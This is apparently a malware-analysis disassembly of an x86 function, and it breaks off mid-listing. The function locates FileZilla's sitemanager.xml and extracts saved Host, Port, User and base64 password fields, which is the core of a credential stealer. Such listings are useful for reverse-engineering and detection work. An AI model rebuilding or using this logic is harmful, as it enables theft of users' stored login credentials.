Function at 0x1009fcc0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x160], 0
lea eax, [ebp - 0x110]
mov dword [ebp - 0x15c], 0xf
push eax
push edi
mov ebx, ecx
mov byte [ebp - 0x170], 0
push edi
push 0x1a
push edi
mov dword [ebp - 0x1c0], ebx
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
mov dword [ebp - 0x1bc], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x128], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1009fd95
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100af160
push 0x100f72fc
lea ecx, [ebp - 0x128]
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x208], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f8], xmm0
mov dword [eax + 0x10], edi
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x1009fe1f
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009fe15
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
push str.FileZilla_sitemanager.xml
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x190], xmm0
mov dword [eax + 0x10], edi
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x1f4]
cmp edx, 0x10
jb 0x1009fea4
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009fe9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b6
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x18c], 0x10
lea eax, [ebp - 0x1a0]
push 0x100f7320
cmovae eax, dword [ebp - 0x1a0]
push eax
call fcn.100c4b2d
add esp, 8
test eax, eax
je 0x100a16c5
push eax
call fcn.100c4bbb
mov eax, dword [ebp - 0x190]
add esp, 4
inc eax
push eax
call fcn.100bafa2
add esp, 4
lea ecx, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
mov esi, eax
mov edx, esi
cmovae ecx, dword [ebp - 0x1a0]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1009ff01
push 0x100f7320
push esi
call fcn.100c4b2d
mov ebx, eax
push ebx
mov dword [ebp - 0x20c], ebx
call fcn.100c77b8
add esp, 0xc
test eax, eax
jne 0x100a1431
push ebx
push 0x800
push 0x10100650
call fcn.100c6482
add esp, 0xc
test eax, eax
je 0x100a1420
mov ecx, 0x10100650
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1009ff70
sub ecx, edx
push ecx
push 0x10100650
lea ecx, [ebp - 0x128]
call fcn.100af160
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 6
push str._Host_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a0194
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 7
push str.__Host_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a0194
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Host_
push ecx
call fcn.100b01e0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a18c0
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a00d9
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a00cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x15c], 0x10
lea ecx, [ebp - 0x170]
mov esi, dword [ebp - 0x160]
mov edx, esi
cmovae ecx, dword [ebp - 0x170]
push 7
push str.__Host_
push ecx
call fcn.100b01e0
mov ecx, eax
mov dword [ebp - 0x1a8], 0
add esp, 0xc
mov dword [ebp - 0x1a4], 0xf
cmp esi, ecx
mov byte [ebp - 0x1b8], 0
lea eax, [ebp - 0x170]
cmovb ecx, esi
cmp dword [ebp - 0x15c], 0x10
push ecx
cmovae eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a0194
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a018a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 6
push str._Port_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a039e
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 7
push str.__Port_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a039e
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Port_
push ecx
call fcn.100b01e0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a18c0
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a02e3
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a02d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
mov esi, dword [ebp - 0x178]
mov edx, esi
cmovae ecx, dword [ebp - 0x188]
push 7
push str.__Port_
push ecx
call fcn.100b01e0
mov ecx, eax
mov dword [ebp - 0x1a8], 0
add esp, 0xc
mov dword [ebp - 0x1a4], 0xf
cmp esi, ecx
mov byte [ebp - 0x1b8], 0
lea eax, [ebp - 0x188]
cmovb ecx, esi
cmp dword [ebp - 0x174], 0x10
push ecx
cmovae eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a039e
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0394
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 6
push str._User_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a05a8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 7
push str.__User_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a05a8
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._User_
push ecx
call fcn.100b01e0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a18c0
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a04ed
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a04e3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x144], 0x10
lea ecx, [ebp - 0x158]
mov esi, dword [ebp - 0x148]
mov edx, esi
cmovae ecx, dword [ebp - 0x158]
push 7
push str.__User_
push ecx
call fcn.100b01e0
mov ecx, eax
mov dword [ebp - 0x1a8], 0
add esp, 0xc
mov dword [ebp - 0x1a4], 0xf
cmp esi, ecx
mov byte [ebp - 0x1b8], 0
lea eax, [ebp - 0x158]
cmovb ecx, esi
cmp dword [ebp - 0x144], 0x10
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a05a8
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a059e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 0x18
push str._Pass_encoding_base64__
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a0809
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
mov ecx, esp
push 7
push str.__Pass_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
call fcn.100852b0
add esp, 0x30
test eax, eax
jle 0x100a0809
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 0x18
cmovae ecx, ebx
push str._Pass_encoding_base64__
push ecx
call fcn.100b01e0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
lea edx, [eax + 0x18]
cmp esi, edx
jb 0x100a18c0
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a06f7
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a06ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov esi, dword [ebp - 0x130]
mov edx, esi
cmovae ecx, dword [ebp - 0x140]
push 7
push str.__Pass_
push ecx
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
call fcn.100b01e0
mov ecx, eax
add esp, 0xc
cmp esi, ecx
lea eax, [ebp - 0x140]
cmovb ecx, esi
cmp dword [ebp - 0x12c], 0x10
push ecx
cmovae eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100af160
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100ae910
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a07b2
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a07a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x208]
call fcn.10083800
push eax
lea ecx, [ebp - 0x140]
call fcn.100ae910
mov edx, dword [ebp - 0x1f4]
cmp edx, 0x10
jb 0x100a0809
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a07ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x160], 0
je 0x100a13da
cmp dword [ebp - 0x148], 0
je 0x100a13da
cmp dword [ebp - 0x130], 0
je 0x100a13da
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a084a
cmp byte [eax], 0x30
jne 0x100a084a
mov al, 1
jmp 0x100a084c
xor al, al
mov ebx, dword [ebp - 0x1c0]
test al, al
je 0x100a0d96
lea eax, [ebp - 0x170]
mov edx, ebx
push eax
push 0x100f7378
lea ecx, [ebp - 0x208]
call fcn.100af7f0
add esp, 4
lea ecx, [ebp - 0x29c]
mov edx, eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f793c
call fcn.100ae850
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x284]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
push 0x100f7378
lea ecx, [ebp - 0x1d8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1d8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
lea edx, [ebp - 0x254]
lea ecx, [ebp - 0x26c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
push 0x100f7378
lea ecx, [ebp - 0x23c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x23c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x22c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
lea edx, [ebp - 0x224]
lea ecx, [ebp - 0x1b8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x224], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x214], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x140]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7388
call fcn.100ae850
mov ecx, ebx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2cc], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2cc]
push eax
movq qword [ebp - 0x2bc], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x2b8]
cmp edx, 0x10
jb 0x100a0a5f
mov ecx, dword [ebp - 0x2cc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0a55
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a0a99
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0a8f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x210]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a0aee
mov ecx, dword [ebp - 0x224]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0ae4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
cmp edx, 0x10
jb 0x100a0b43
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0b39
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x258]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0xf
mov byte [ebp - 0x23c], 0
cmp edx, 0x10
jb 0x100a0b98
mov ecx, dword [ebp - 0x26c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0b8e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x240]
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0xf
mov byte [ebp - 0x26c], 0
cmp edx, 0x10
jb 0x100a0bed
mov ecx, dword [ebp - 0x254]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0be3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1c4]
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0xf
mov byte [ebp - 0x254], 0
cmp edx, 0x10
jb 0x100a0c42
mov ecx, dword [ebp - 0x1d8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0c38
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
cmp edx, 0x10
jb 0x100a0c97
mov ecx, dword [ebp - 0x284]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0c8d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x270], 0xf
mov byte [ebp - 0x284], 0
cmp edx, 0x10
jb 0x100a0cec
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0ce2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x288]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp edx, 0x10
jb 0x100a0d41
mov ecx, dword [ebp - 0x29c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0d37
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x288], 0xf
mov byte [ebp - 0x29c], 0
cmp edx, 0x10
jb 0x100a0d96
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0d8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a0db0
cmp byte [eax], 0x31
jne 0x100a0db0
mov al, 1
jmp 0x100a0db2
xor al, al
test al, al
je 0x100a1383
push 0x100f794c
mov edx, ebx
lea ecx, [ebp - 0x2b4]
call fcn.100af7f0
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
push str.FileZilla
lea ecx, [ebp - 0x1b8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
push 0x100f7380
lea ecx, [ebp - 0x224]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x224], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x214], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
lea edx, [ebp - 0x23c]
lea ecx, [ebp - 0x208]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x23c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x22c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x170]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f793c
call fcn.100ae850
lea edx, [ebp - 0x254]
lea ecx, [ebp - 0x26c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
lea edx, [ebp - 0x1d8]
lea ecx, [ebp - 0x284]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1d8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
lea edx, [ebp - 0x1f0]
mov byte [eax], 0
lea ecx, [ebp - 0x29c]
lea eax, [ebp - 0x140]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f737c
call fcn.100ae850
mov ecx, ebx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2e4], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2e4]
push eax
movq qword [ebp - 0x2d4], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x2d0]
cmp edx, 0x10
jb 0x100a0ff7
mov ecx, dword [ebp - 0x2e4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a0fed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x288]
cmp edx, 0x10
jb 0x100a1031
mov ecx, dword [ebp - 0x29c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1027
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x288], 0xf
mov byte [ebp - 0x29c], 0
cmp edx, 0x10
jb 0x100a1086
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a107c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp edx, 0x10
jb 0x100a10db
mov ecx, dword [ebp - 0x284]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a10d1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
